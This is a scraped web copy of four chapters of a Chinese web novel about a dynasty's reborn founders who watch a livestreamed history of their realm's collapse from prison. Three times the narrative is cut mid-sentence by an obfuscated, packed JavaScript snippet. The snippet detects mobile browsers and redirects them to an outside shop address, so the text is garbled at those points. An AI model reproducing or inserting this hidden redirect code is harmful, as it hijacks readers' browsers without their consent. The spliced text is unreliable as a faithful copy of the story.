《天幕说两个千古一帝都是我》 7. 万古回魂夜x3 “好大的愿望啊。” 点翠笑了:“别人召唤老祖宗最多也就说句清君侧,你倒好,直接让我清君?” 鬼魂沉默不语,她只是望着点翠,可怜巴巴的,眼里明明白白地写着:祖师要帮我。 点翠没看她,她只是盯着那尊青铜鼎,刚刚自己就是在那里面艰难地拼出来了一具能用的身体。 那也是面前这个幽魂的身体。 她突然笑了。 “你放心,如果你所言为真,我一定替你报仇。” 点翠看向阿翠,话说的很严谨。 虽然嘴上这么说,但其实点翠心里已经想好了一万种杀死现任皇帝的方法。 毕竟谁家正常皇帝搞人祭还一定要把人搞的支离破碎,这简直就是心理变态!肯定不是什么正常人! 阿翠望着点翠的笑,她也笑了,和这位巫道上的青鸾祖师交谈,没想到比她一开始设想的要简单的多。 点翠再次开口:“所以……” 她伸出手,轻轻搭在了阿翠的头上:“你离去吧,你已经死了,阿翠……现在,该离开了。” 点翠的声音很轻,明明是她自己的声音,但是阿翠却从中听到了不同以往的重量。 “该去的,莫停留。” 属于曾经掌握至高权柄之人,翻手为云覆手为雨的大巫的重量。 点翠望着手下之人缓缓散去的魂魄,叹息一声:“放心吧,我能做到的,你有没有注意到我的脸?” 阿翠的鬼魂猛地抬头,她明明已经死了,就连人魂都在缓缓消散,但是在看到点翠的脸的那一瞬间,却还是心生寒意。 只见点翠身上那些拼接的伤口不知道什么时候已经彻底消失不见,就好像她从未被分尸一样,而刚刚还是自己模样的点翠的脸,现在居然已经变了。 变成了一张清冷淡然,宛若超然之外万顷竹林的,陌生的脸。 那张脸与国师府深处珍藏的国师画像,一模一样。 点翠将阿翠的身体变成了点翠的样子。 “我知道的……阿翠已经死了,我已经死了,可是您——” 鬼魂喃喃道,在离开的那一瞬间,她留在这世间的最后的情绪,居然是恐惧。 对她请来的那位青鸾祖师的恐惧。 点翠垂眸叹了口气,殿外传来了错乱的脚步声,按照祭祀时间来说,现在应该是其它丹侍回收尸体的时候了。 她伸手,敲醒了两个吓晕的丹侍,拉开殿里通风的小窗,把那两个看起来也就十二三的少女推了出去。 “你们走吧,快走吧。如果可以的话,永远不要入巫鬼一道了。” 点翠没搭理那两个呆愣的丹侍,只是随手关了窗户,然后等着外面的丹侍冲进来,皇帝的祭祀肯定会被现在国师府里的大人物亲自把关,只要是国师来,总不会不认识她这张脸,到时候无论对方什么态度,她都能偷梁换柱—— 然后点翠就水灵灵地进了牢。 诏狱的四面牢里,最后一个无人的牢房终于被填上,君右丞甚至在暗爽——点翠一来就完美了,他的强迫症都被治愈了。 大乾的四位开国元勋就这样彼此大眼瞪小眼,最后还是君右丞咳嗦了两下,开口就是一记刀子。 “所以既然你的计划这么完美,你为什么和我们一样也出现在了这里?” 点翠夸张地捂住了胸口,整个人像是被看不见的利剑击中了一样,缓缓向后倒去,摔在了君右丞捆的稻草枕头上。 “老君,你说话,果然,果然还是这么扎心啊……” 点翠作势就去抹眼泪,假装自己在哭。 君右丞一脸冷漠:“起来,解释解释。” 点翠瞬间跳了起来:“因为这任国师不按套路出牌啊!谁知道皇帝安排的事情他都不放在心上啊!陛下的事情我可都是躬亲而行,一直盯着生怕耽误的,陛下你看我对你多好——” 君右丞暗道不好,完了,让点翠演起来了,谁不知道点翠和萧靖川两个人一个古灵精怪一个臭不要脸,万一让他们演起来,这两个家伙的戏瘾能让他们演上二百集甄嬛传。 萧靖川果然不出所料,顿时被点翠一番话感动的泪流满面:“我就知道青鸾爱卿待朕甚厚——” 很容易被感动的大将军见状也眼眶红了。 老实人顾月:虽然不知道你们在哭什么但是我也陪一个。 这下好了,只有咬牙切齿的丞相实在没忍住,锤了下铁栏:“你们在搞什么?” 靠!好疼! 他眼眶也红了。 萧靖川不赞同地看着他:“你看,又性情了,爱卿你分明也很感动。” 君右丞:“……臣没有,您也别说‘你就是’。” 被完美预判的萧靖川不说话了,于是他看向和他同频共疯的国师,没话找话:“老翠,你被带来之前是在干什么啊?按你的说法不该这么长时间啊,你从来到南乾到现在可是过了整整两个时辰。” 他只是随口一问,没想到国师的神情变得微妙起来。 点翠:“事实上,我来之前正在看和你相关的话本。虽然我是被捆来的可疑人员,但是还是很有人权的,等着办入狱手续的时候我看了几本现在正时兴的话本打发了下时间,没想到一看就忘情了没命了,连排到我入狱都忘了。” 萧靖川:“什么话本?” 君右丞好像意识到了什么:“你最好别问。” 但是已经来不及了,点翠正了正衣冠,咳嗽两声,开始吟唱:“凄然,是我为自己新取的名字,象征着我和三位死去故友的爱情,原来一个人爱的极限可以包容三个人,是的,我是萧靖川,我和我的开国三公,我们四个人是彼此相爱的……” 点翠满意地看到了萧靖川震撼的表情,又问了一句:“话本说你历史上三十多岁英年早逝是为了和我们殉情,是真的吗?” 萧靖川张口就反驳:“扯淡,朕九五至尊,怎么可能和三个人……” 点翠:“啊……好伤心啊——” 萧靖川:“那对你们三个人也太不公平了吧?!我怎么可能做那种烂事?我可是长安侠王,简直有违我侠义之道,我可是大乾毒唯,大乾纯爱战神!真要殉情也只能和一个人!” 君右丞:……原来重点是这个吗? 几个人插科打诨的也够了,开国的班子四人齐了之后,萧靖川拍了拍手,终于开始说正事:“诸位,现在大家都在牢里了,你们也多少都看到了,皇帝已经这样了,那么……” 他严肃地站起身,庄重地……摊了摊手: “为之奈何啊!” 君右丞头疼地扶额:他到底在期待些什么。 既然云起帝已经烂泥扶不上墙,萧靖川又有先天的身份优势,那现在需要做什么不是很明显了吗? 首先,没人受得了南北乾。 乾只能有一个,这片土地上,也只能有一个乾。 大一统是所有人的共识。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751119|189984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 点翠高高举手:“我我我!这次我是认真的,我有一计!保准能成功!” 点翠眼睛地里咕噜的一转,看向一边的君右丞,为了加强可信度,她甚至提高了声音:“你看丞相都没有反对意见。” 君右丞大惊失色:“我什么时候同意了?!” 萧靖川笑盈盈地抬手:“准奏,来,老翠爱卿,请。” 于是点翠笑了:“我说真的,要创业的话,神异之象不是最重要的吗?咱们要不现在出去拿块石头,里面塞上大乾兴,六皇子王的字条先造势看看?” 君右丞:“……咱们乾初是怎么赢得来着?” 三王之争他们是赢了吧?他现在都有点心疼输了的楚巫王和百兽蜀王了。 顶着君右丞杀死人的目光,乾太祖心虚:“那啥,这位子孙虽然不怎么样,但是是真的有钱啊,大牢都给修成单间,唉,我们那时候这么大一个房间能关七八个人——” 君右丞青筋直跳:“你已经夸了这里两遍了,转移话题的借口太烂了。” 萧靖川嘿嘿一笑,他厚脸皮地一拍手:“其实我觉得也不用着急讨论,咱们四个在,做事有什么是没经验的。” 君右丞:“看来夺嫡之争就没什么经验。” 萧靖川彻底落败,他投降:“嘶,主要是真的,这个我还真没经验,我当时立的姐姐的孩子,我的外甥作为太子,太子自己也有军功,镇得住你们之外的功臣……我还真没太操心过。” 君右丞冷笑一声。 你们之外……所以你那时候是真的想要对我们三个出手是吧?我们死的那么早你是不是也松了口气啊? 他阴暗扭曲地想。 一直没说话的顾月也勉强让自己挤进了讨论:“而且我们现在什么都没有。” 萧靖川继续乐观:“没事,看人家前晏安女帝,虽然三世而亡,但是开局一个鱼竿。” 君右丞心情不好,又刺了一句:“人家至少是自由身,咱们是开局蹲大牢,坐等秋后问斩。” 点翠默默地补了一句:“……说不定还等不到秋后呢。” 萧靖川被君右丞刺了一句也没生气,甚至看起来很开心,毕竟君右丞已经多少年没骂过他了,被骂一下就好像回到了乾初,简直是浑身舒服。 乾太祖还在乐观:“没关系,你们是我最信任的臣子啊!一定可以做到的吧?” 国师和君右丞率先露出了难以形容的表情,什么只知道派任务不问实行难度的恶毒老板。 只有顾月傻呵呵的,又因为感动而泪光翻涌:“臣愿为陛下肝脑涂地!大不了臣去应允婚约——” 这下点翠都看不下去了:不是,顾月,你别太爱了,他这么敷衍的话都能敷衍到你吗? 好在外面传来一声叫喊,将这场闹剧彻底终结。 “天幕!天幕又亮了!” 天幕来了,不管宫斗的政斗的计划篡位的全都停了来看那位主播口中的乾武帝八卦,所有人都想知道那位乾武帝究竟是谁。 四面牢里的四位也不例外,点翠一来,之前做不到的某些事情就可以提上日程,比如用点翠的巫术和秦王照骨镜的技术结合,将外面的画面投影到他们面前。 萧靖川感动地捂住了胸口:“终于能看天幕了!我心痒痒了一天啊!整整一天!” 其他三人只是怜悯地看着他,尤其是看过现场的顾月:希望唯一一个没有感受过外界真实情况的乾太祖,一会儿不要发疯。 8. 断乾之乱 天幕亮起,整个金陵城连宵禁都忘了,灯全都亮着。 校尉连夜跑到老板家,发现上司兵马指挥司指挥正搬着马扎坐在院子里视野最好的地方。 “指挥使!指挥使!闭门鼓已经过了,但是现在整个金陵城没人睡觉啊!指挥使我们怎么办啊!” 没想到专管宵禁的指挥使一句话都没说,只是抬手示意校尉闭嘴,眼睛都快锁在那个天幕上了。 开什么玩笑?谁不想看仙人带来的后世之言? “指挥使——” 校尉还想说话,指挥使摆了摆手,没好气道:“别吵了,我们眼睛瞎了,什么都看不见。” 校尉:???我还没瞎呢! 【首先,讲乾武帝肯定离不开当时那个混乱的时代,现在历史学家们都将其称之为南北乾时期,众所周知,一出现南北这两个字神人就越神,其抽象程度与南北朝有的一拼。】 扶桑的声音在天幕上响起,与之前中断的地方正好连在了一起。 【首先,让我们来看看当时的局势,大乾国祚第九十二年时,整个乾还没有裂成两半,在这个宗教比较发达的时代,当时的皇帝是乾灵帝,哦当然,还不是北乾灵帝。】 弹幕都要笑疯了:(哈哈哈哈笑死我了,宗教比较发达的时代,是指南北乾时期北边的北乾灵帝在喝酒修佛,南边的南乾在炼丹修道修巫吗?那很神了。) (南乾修仙北乾拜佛,佛道巫一起发展,什么叫宗教大使,这才叫宗教宣传大使,这兄弟俩真的抽象。) (说真的,我写小说都不敢这么写,他们历史上敢这么干,哥哥在北边疯狂建佛寺,边关的火都烧掉了他的半边眉毛,灵帝也能说那不是还有半边眉毛烧吗,甚至还在试图给北蛮上岁币求停战,当然,弟弟也没好到哪里去,后面跑到南边疯狂炼丹修巫。) 弹幕滑过,整个金陵城都像是被点了暂停键一样不敢说话了,毕竟黑龙卫无处不在。 校尉的眼睛睁得大大的,还是指挥使反应快,呸了一声,往地上一躺就装死,假装自己因为晕过去了没有听过此等乱臣贼子之语。 校尉连忙跟上,而此时的金陵城里,什么六部尚书什么国师所有位高权重的人都躺了一地,试图用装死唤醒皇帝的人性。 而此刻,诏狱四面牢里,有一个人后悔看天幕了。 “你们要干什么呢?”乾太祖痛心疾首地说:“我说你们要干什么?” “你们两个要做什么啊!你们两个风姿!都当皇帝了能不能先别修炼了!这不是仙侠话本子!你练不成仙人的!” 萧靖川快气疯了:“一定是楚巫王还没有放过我的祖坟,我的祖坟!” 不肖子孙有一个就够了,怎么还一出出一对呢?看不出来啊楚巫王,你还喜欢配平呢。 萧靖川很快咬牙切齿地冷静了下来,因为天幕又说话了。 【哈哈我看到弹幕了,不过南乾后帝罪不致此啊,云起后帝还是很有实力的,真要论神经还逮是我灵帝,大家看这个谥号也能看出来哈。古曰:乱而不损曰灵,不勤成名曰灵,鬼神害民曰灵。灵就是指昏聩荒唐、胡作非为但又侥幸未亡国的君主。】 “哒。” 一声轻响,云起帝终于放下了他在手里磨了半天的茶碗,阴郁的脸上阴云略微退去。 云宿殿内,卢公公感受到大殿里的威压终于落了下了,瞬间松了口气。 今晚不用见血了,感谢后世那个名为扶桑的主播! 【北灵帝也是生在了好时候,他搞出来的超级大烂摊子居然有人接手,而且一接就是三个人。接下来我们就展开讲讲,这位一边喝酒一边拜佛的疯帝是怎么把乾太祖搞出来的超级大乾一分二的。】 扶桑刷地打开了扇子,摆出一副说书人的架势。 他终于出现在了天幕的画面里,不过形象却与人们想象的不太一样。 头发是特殊的银绿色,长发洒下来,里面还交杂着银金的枝条,简直与传闻中少司命所种植的神木扶桑特殊的金枝玉叶重叠。 扶桑是楚地巫学中由少司命种植的神木,也是少司命的本体,几乎等于少司命的巫教符号。与河伯等九歌正神并祭,国师府的好多丹侍和巫者见状叩头就拜,高呼少司命显灵。 “是神木!是少司命!” “原来如此!是少司命神木扶桑的使者带来的后世之言!” 国师眯了眯眼睛,不管天幕上的后世之人是不是真的扶桑使者,现在最好的办法就是把他当成扶桑使者。 毕竟……对方对陛下的态度说不上负面,完全可以成为南乾舆论的工具。 扶桑继续说。 【要说北灵帝其人,少年时期还算正常,甚至还和伴读——也就是后面的北乾丞相齐舟观海论策,留下了一句名言:‘当纳百川为吾酒,心悬苍穹作冕旒。’ 啧啧啧,纳百川为酒,用北蛮的长生天做冕旒,你听听,先不说能不能做到吧,至少气势是有了,不过也能看出来哈,北灵帝小时候就喜欢喝酒。】 【但是正常人是什么时候变得不正常的呢?就是他观海之后,刚雄姿英发了几句,回去的路上就被劫匪给劫了,是的,被劫匪给劫了。怎么回事呢? 因为北灵帝这小子那时候是偷偷跑出来的,人家以为遇到肥羊了,可不宰一笔,没想到宰到了皇子头上,那时候乾其实就已经有点不太平了,北灵帝则被当时佛寺里的一个僧人给救了,然后从那之后,他就开始了信佛。】 【怎么说呢……走上不归路了哈。上位之后就开始大兴土木建造佛寺,他信佛就算了,但是还爱喝酒,于是没办法,开始宣扬‘世俗僧’的歪风邪气,宣布僧人的戒律都可以不遵守,僧人可喝酒,可吃肉,可杀生,依旧是高僧,甚至身体力行地封了某位手下有百条人命的绿林僧人为大师。】 (灵帝:哈哈哈哈古来圣贤皆寂寞,惟有饮者留其名!继续喝继续喝!) (啊哈哈,笑不出来,光听这一段我都绷不住了。) (太荒谬了,僧人不尊戒律那还叫僧人吗?我都不敢去看那段真正荒唐的历史,所有人都疯了,皇帝疯的尤其严重。) 萧靖川彻底死掉了,他倒下了,在四面牢里变成了一条瘫软的长虫,动都动不了。 君右丞的脸色也很难看,作为管了一辈子税法,田制,吏治的开国丞相本人,他最知道这会导致什么后果。 一群数量越来越多,行为不受控制的特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751120|189984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殊阶级被北灵帝造了出来,他们甚至还享有不用交税的自由,会造成什么可怕的后果? 结果显而易见。 金陵城中的人都想起了那次惨痛的教训,不少亲身经历过的老臣甚至开始抹眼泪,就连国师都从地上爬了起来。 【北灵帝这么一搞,这下好了,报应很快就来了。而且是翻天覆地的来——他把整个大乾搞的乌烟瘴气的时候,北边的世仇北蛮偏偏这时候出了个猛人——单于烈日汗,自称‘举事而候星月,月盛壮则攻战’。弼马温出身,却统一了整个北方草原,建立了疆土覆盖瀚海以北的北方政权,国号大朔。】 【新官上任三把火,烈日汗的火烧遍了北方草原,接下来要烧的,自然就是老邻居。奈何当年乾太祖眼光太好,和开国三公一起力排众议定都晏旧都长安。 长安嘛,地理位置大家都知道,那可是关中平原,北部有陕北高原以及北山山脉,西边是陇西高原和河西走廊,进可攻退可守,战略地位那叫一个优秀,于是烈日汗想了个阴招。】 【他贿赂了当时与北灵帝关系最好的那批大师,说佛祖舍利在西方诞生,说动北灵帝向西域礼佛,喝酒喝蒙了的北灵帝一听我去佛祖灵骨,这肯定要尝尝咸淡啊,瞬间眼也不花了人也不醉了,直接跳起来一手策划了西行,所有有头有脸的王公贵族大臣大师们全都去,一个都别想跑!】 (哈哈,我又开始干笑,看乾中历史是这样的,一直在干笑,感觉我肯定是喝大了,要不然怎么会看到这种东西。灵帝甚至亲自给烈日汗把要抓的人全都统计好了。) (列了个excel) 萧靖川虚弱地点了个赞。 (北灵帝也是西行上了,我真服了,人家玄奘法师西行是为众生求经,你西行是它大巴车的为大乾送终啊!北灵帝,你晚上睁开眼睛看看,我不信乾太祖两眼空空!) (笑死我了,北灵帝西行遇到的女儿国国王是乾太祖是吧?乾太祖挥舞着顾月就冲上来揍人了。) (等等,大将军是说过“愿为陛下锋刃,虽九死其犹未悔”,但是你不能真拿大将军当武器使吧?) (但是大将军本人肯定无所谓啦,小伙为何爱小伙……) (总比爱老头好吧?) …… 不只是整个金陵城,四面牢里也安静了下来。 顾月脑海中已经自动调出舆图:“西行……长安的西边就是陇西高原和……河西走廊!不好——” 他猛地抬起头,脸色相当难看。 “啪!” 扶桑啪地一声把扇子和上,打断了顾月想要说的话。 【说实话,北灵帝这事策划的还是不错的,浩浩荡荡几万人出发,秩序井然,也不算是完全没能力,可惜啊,您猜怎么着?花了大价钱的烈日汗又争又抢,倾巢而出跑了大远路,正在玉门关外一边吃沙子一边守株待兔呢!全北蛮的未来就指着这一次了!他能不重视吗? 于是,北灵帝这一去,就发生了整个历史上也独三无四的大事件,也就是——断乾之乱。 从此之后,大乾统一的历史成为过去,疆域被划分为南乾北乾,无数良臣名将屈辱死去,历史翻开了崭新又混乱的新章。】 9. 灼灼衣冠骨 天幕上的扶桑消失了。 取而代之的是满地的白骨与鲜血。 风卷着沙子一圈圈地转,鲜血洒在沙地里,结成块,然后随风滚动着,变成越来越大的沙团。 血达九泉,将河西变成了真正的忘川地狱。 烈日汗与西域诸国合谋,西域诸国称自己要献上真正的佛祖舍利,联合长安朝内的那些护国大师哄骗北灵帝为迎佛骨,打开了玉门关的大门。 于是高举狼王啸月旗的烈日汗带队冲锋,军队变成舆图上的一个蜿蜒箭头,像是前行的狼群,就这样畅通无阻地冲进了玉门,从河西长驱直入,铁骑刀锋直至顺河谷而下的关中平原。 箭头不断向前,指示着行军的路线,也指示着仓皇而逃的王公权贵。 跑,要跑。 所有人都在奔跑,镜头闪过一张张仓皇的面容,不论王侯将相,还是平民百姓,所有人的身份在狼群的铁骑面前都变得平等——接下来粉墨登场的,是一场史无前例的,真正需要“八仙过海,各显神通”的全民逃亡。 烈日汗的朔军紧随其后,他们使用的破甲锥能连续射穿数名逃窜的官员。烈日汗的战术非常明确——专射华盖鸾驾,让失去指挥系统的乾军像无头苍蝇般自相践踏。 他的战术被下面的人贯彻的很好。 万箭同出,积弊已久的边防军勉强撑起的防御队形被瞬间冲散,贪生怕死的王公贵族完全不顾边防军请求,只知道一味地逃命,将殿后的重任扔给边关的将士。 他们甚至将银锭凿成薄片漫天抛洒,戏称“买命钱”,期待追兵拾取时延缓脚步。殊不知朔军骑兵踏过那些埋在黄沙里的银片,比起前面更美味的猎物,他们根本不屑弯腰,全都便宜了后面追逐的步兵。 一位尚书扒下紫袍裹住伤腿,抓着马鞍试图爬上受惊的驮马,却被身后冲来的牛车撞翻——车上满载着北灵帝带来恭请佛骨的鎏金佛像。 沙粒黏在凝涸的血泊里,形成诡异的玛瑙纹路,纹路的尽头是一位身着深衣华服的公主,她倒在被车夫丢掉的佛像上,胸口被流矢贯穿。 一只染丹蔻的手抓起沾血的沙土塞进锦囊,拍摄的镜头急推——那是公主的侍女,她正把混合皇室血脉的沙土藏进怀中,此后南逃途中每遇盘查,必高举此囊泣喊:“我身负大乾龙血!速速让行!”为自己拼出一条生路。 夜色之下,所有仓皇逃亡之人都在用金粉写就的经文生火取暖。袅袅烟雾浮起,百年大乾,就这样与北灵帝坚信可以护国的佛经一起化作照亮夜空的青烟。 最后,视频短片的镜头停留在一个地方。 那是一顶半掩在流沙中的双龙夺珠鎏金冠,珠玉已被尽数撬走,已经半被黄沙掩盖。 字幕缓缓浮现: 弘运八年秋,北灵帝的西行迎佛骨,成为了断乾之乱的开端,史载‘朔骑如狼噬万胫,昼夜追袭三百里’。黄沙浸血而成紫壤,这股铁锈混杂腐膻的气味,将在河西萦绕三代人,至死方休。 此所谓……弘运无运。 短片放完,不知道是谁先开始,整个金陵城响起了呜咽的哭声。 此去弘运八年也不过七年,云起帝刚登基七年,金陵百姓,文武百官,大部分人都亲身经历过北方之祸,不得已而仓皇南迁。 但人随南迁,魂系故乡。 “妈妈……我想吃家里的荠菜包子……” 稚嫩的童声在街巷中某官员的府邸里响起,母亲抱住了年幼的孩子,自己也流下了泪。 荠菜儿,年年有,采之一二遗□□。 可现在要去哪里找荠菜?即使找到了,也是吸了人血长起来的邪物。 天幕上,扶桑又合上扇子,就这样轻而易举地刷地一声引起了数千年前整座金陵城的注意。 他清了清嗓子,继续讲解:【北灵帝屁颠屁颠地跑到河西去了,正准备迎佛骨见神迹呢,黄沙漫天里就冲出来了一支支精锐,一下子□□懵了。 北灵帝反应也很快,他立马跑,连夜跑,可惜他这个人也是真的运气差——自己连夜跑了一百多里,本来都该安全了,奈何遇到了沙尘暴。】 【沙尘暴啊,在现在的科技发展水平下,突然遇到都必死无疑,更何况那时候的北灵帝连车都没有,当时现场太混乱了谁也顾不上谁了,北灵帝只有一队亲卫骑马护驾,沙尘暴一吹,就连识途的老马都失去了方向,等黄沙散去之后,出现在北灵帝和几个零零散散亲卫面前的只有……】 【朔军的大营。】 扶桑这个讲历史的人都快苦笑了。 【于是,北灵帝被朔俘,据《乾史·卷四》载:灵帝西行仪仗万万乘,然归西京者不足百骑。玉门血沙三日不凝,犹闻贵胄夜啼哭。】 (家人们,有点想哭了,我是一个乾粉,我这辈子都不敢看这段历史,真的。) (人怎么能这么倒霉,北灵帝跑了一百公里然后遇到沙尘暴了也不敢停,继续连夜狂奔,没想到还不如原地站着——直接因为看不清方向自己跑回来了。什么叫羊入狼口……) (北灵帝被俘真的挺冤的,至少跑出来过。ps:只针对被俘这件事哈,没有任何给他洗白的意思。) (北灵帝:我不是跑出来了吗?这给我干哪儿来了!朔军绝对有点说法。) (哎当时的情况是真的惨,玉门关一失手,再加上关内措手不及,朔军又以急行军为优势,直接像是如入无人之境打穿了……) (王公贵族们被追的乱七八糟,一迁二迁三迁,从西安到燕京,又从燕京跑到南京,乾更是直接变成两半。) (我只敢看乾武帝开始活跃的那段历史,武帝一出现哪怕年龄很小我也觉得很可靠很安心。) (我们乾中张起灵是这样的,无论形势多么可怕,只要武帝一出现,乾就一定能赢,呜呜呜武帝我的无敌武帝——就是你为什么这么喜欢乾太祖啊!也不能什么习惯都要和你祖宗一模一样吧!) (孩子爱cos就cos吧,又不影响孩子是千古一帝:) (没关系,家人们,现在的悲伤是为了之后的扬眉吐气!振作起来!) …… 帝王寝宫,云宿殿。 云起帝敲了敲茶碗。 他目光死死盯在那些弹幕上,尤其是那些提到了“乾武帝”的弹幕上。 “你觉得这位深得民心的乾武帝……会是哪位皇子或者宗室子啊?” 云起帝突然冷不丁地开口,吓得一边伴驾的卢公公差点没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751121|189984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反应过来。 不是,你想杀人可以直接杀的。卢公公心想,这种问题可以问他吗?真不是陛下看他看腻了想换个御前掌事太监了吗? 于是卢公公哐当一下就跪了下来:“陛下!这是扶桑神木使者以及后世之人才能知道的因果,厂臣怎么可能知晓啊!” 云起帝也有点头疼了,他这疯病不仅影响自己也影响了周围人,导致现在随口一问都问不出来什么。 “朕就是单纯想问问你的看法,你不用反应这么大。” 他的视线悬停在自己杯子里的三片茶叶上。 他有六个孩子,活到现在的却只有三个,太子,三皇子,和那个没用的傻子。 乾武帝是云起朝的人,而且看所谓扶桑使者之言,大概就是他的下一任,那么会是……太子和三皇子之中的谁呢? 云起帝眯了眯眼睛,他总觉得这两个人里没一个能达到后世之人所言那样的高度。 但是如果不是他们,而是宗室子的话…… 那更要现在就开始注意起来了,如果年纪尚轻,更换祖宗也就是一句话的事情,必须先下手为强,把乾武帝变成自己的正统血脉。 南乾都城金陵城,某诏狱中。 现在情况反转了过来,之前是太祖一个人生气,其它三个人哄,现在气压低沉的变成了其他三个人,太祖本人倒是好像已经看透了红尘,满不在乎地摸自己的草枕头。 其实更像是疯了。 就连平时最会转移话题的点翠现在也憋不出什么轻松的话:“……我觉得要不直接把北灵帝给干了吧,与其让他继续在外面丢人,不如先下手为强。” 萧靖川第一个举手:“附议,我支持!” 其实他都不想承认这家伙姓萧。 顾月喃喃自语:“我还是死的太早了……早知道北蛮会搞出此等大事,我当时不应该只追他们,应该拼尽一切代价斩草除根的。” 他说这话的时候漂亮的面相都变了,像是修罗鬼神,周围甚至开始环绕战场上嗜杀无数才能流露出来的森森寒气。 君右丞也没好到哪里去,不断呢喃着:“……国难如此……国难如此……” 文人风骨,他更是气的声音都抖的厉害。 “呃……两位爱卿消消气,别气坏了身体。” 两个人的低气压实在是太恐怖,导致乾太祖都跳出来亲自安抚:“我们之后会一雪前耻的,看天幕的意思,乾武帝后面会打回去,实不相瞒我觉得我就是乾武帝。” 其他三人:“???这么自信?” 萧靖川向三人眨了眨眼,明明一开始愤懑的是他,可是最快调整好情绪的人依旧是他,他摸了摸后脑勺:“哈哈,弹幕都说的那么明白了,又是云起朝展露锋芒又是和我这个太祖很像的……” 有没有可能,他就是乾太祖,重生之后也是乾武帝,所以在后人的视角看来乾武帝成了乾太祖的coser。 他越想越觉得这就是真相。 天命要他来救他的大乾,扶大厦之将倾。 萧靖川越想越高兴,开始傻乐,君右丞实在是看不下去了,敲了敲铁栏:“你还是先想想怎么出去吧!” 被关在自己朝诏狱的太祖陛下! 10. 救完你的救你的 扶桑又出现在了天幕上。 【不知道各位还记不记得我之前说过的,北灵帝的烂摊子是被三个人给接住的,首先我们先讲讲第一个人。大家能猜到是谁吗?】 (主播都这么说了那看来肯定不是乾武帝了。) (三个人,乾武帝百分百要压轴的,另一个人也不至于让我们猜,谁不知道整个北乾之所以没亡是因为有齐舟在。) (哈哈哈,齐舟,那个和北灵帝当年一起观沧海的齐舟,当年一起意气风发的少年郎怎么最后下场都惨成那副样子了,丞相啊啊!我的丞相——!我一直哭。) (哎,先别惨了,最惨的还是乾,人家乾明明一切都好好的,结果突然跳出来一个神人,哇塞突然说自己要礼佛,然后突然把乾给玩没了,你这找谁说理去?) (乾太祖已经在下面急的敲鬼门关敲的梆梆响了。) 诏狱里的乾太祖萧靖川看到这行弹幕,实在没忍住,在诏狱里把栏杆敲的梆梆响,勉强抒发自己的愤懑。 刚哄好了自己,这下又生气了。 (所以那还能是谁?我刚入圈不太了解,有没有大佬前辈说一句?) (那还能是谁?另一个皇帝呗。) 扶桑轻笑一声:【看来弹幕老师们也都猜到了——是的,很反直觉的是,第一个帮助北灵帝收拾烂摊子的人是他的弟弟,也就是当时的金陵王萧泉——后来的南乾云起帝。】 【说起来萧泉这个人也很神奇,和北灵帝是一母同胞的亲兄弟,但是不管是朔方史书还是乾方史书,不管是南乾还是北乾,都记载了他和他哥哥关系很不好,他哥哥上位颁发了尚佛政策后,这位金陵王就在一次家宴上吐槽直言:“臣弟近日重读《梁皇宝忏》,忽觉有趣。” 他哥哥还不知道要发生什么呢,傻傻地问:“哦?何趣之有啊?” 萧泉冷笑:“当年梁武帝舍身同泰寺,群臣耗钱三亿赎之。今日我朝黄金铸莲花座,粟米喂铜驼首,岂非比武帝更近西天一步?” 此时大乾明明如日中天,但偏偏有人说它气焰将尽。而这个人偏偏是当时皇帝的唯一同胞弟弟,啧啧啧,只能说云起帝当时真的敢说。】 (哈哈哈哈云起帝这个嘴是真的厉害:还在这里佛佛佛呢!你要上西天了愚蠢的欧豆豆!) (求云起帝嘴同款教程!) (说归说做归做哈,你后面修什么仙呢,只能说不愧是一母同胞的亲兄弟,虽然基因变异了但是没完全变。) (我还是觉得这俩是不一样的,云起帝为什么沉迷修仙不是千古谜案吗?我觉得说不定是因为疯病的问题,没有疯病的话云起帝真搞不好就是世祖了,但灵帝没疯病也是个疯子。) 整个金陵城里的文武百官又开始躺地上装死,搞的盯梢的黑龙卫们很尴尬,不知道自己要不要记录这帮大臣大半夜在自己宅院里倒下又起来的诡异行为。 云起帝本人倒是挺开心的,当然一开始他很生气,但是后面那句“说不定就是世祖了”很好地平息了他的怒火。 虽然不知道乾武帝具体是何许人也,但是对方能和太祖并列,号称千古一帝,弹幕这么说总归是夸他的。 “赏。” 萧泉挥了挥手,卢公公瞬间喜笑颜开连连谢恩,云起帝虽然平时很瘆人,但是一高兴起来也是真的赏,而且出手极大方,一赏就是全殿的人半年年俸起步。 扶桑继续:【然后北灵帝就气炸了,但是毕竟是一母同胞的弟弟你能直接砍了吗?你砍不了一点,于是就罚萧泉回他的封地金陵好好反思。 萧泉就去了,长安到金陵远啊,路刚走到一半北灵帝就被他封的哪些护国法师们给诈骗了,要计划举国西行,于是刚走了一半的萧泉又被叫回来了。 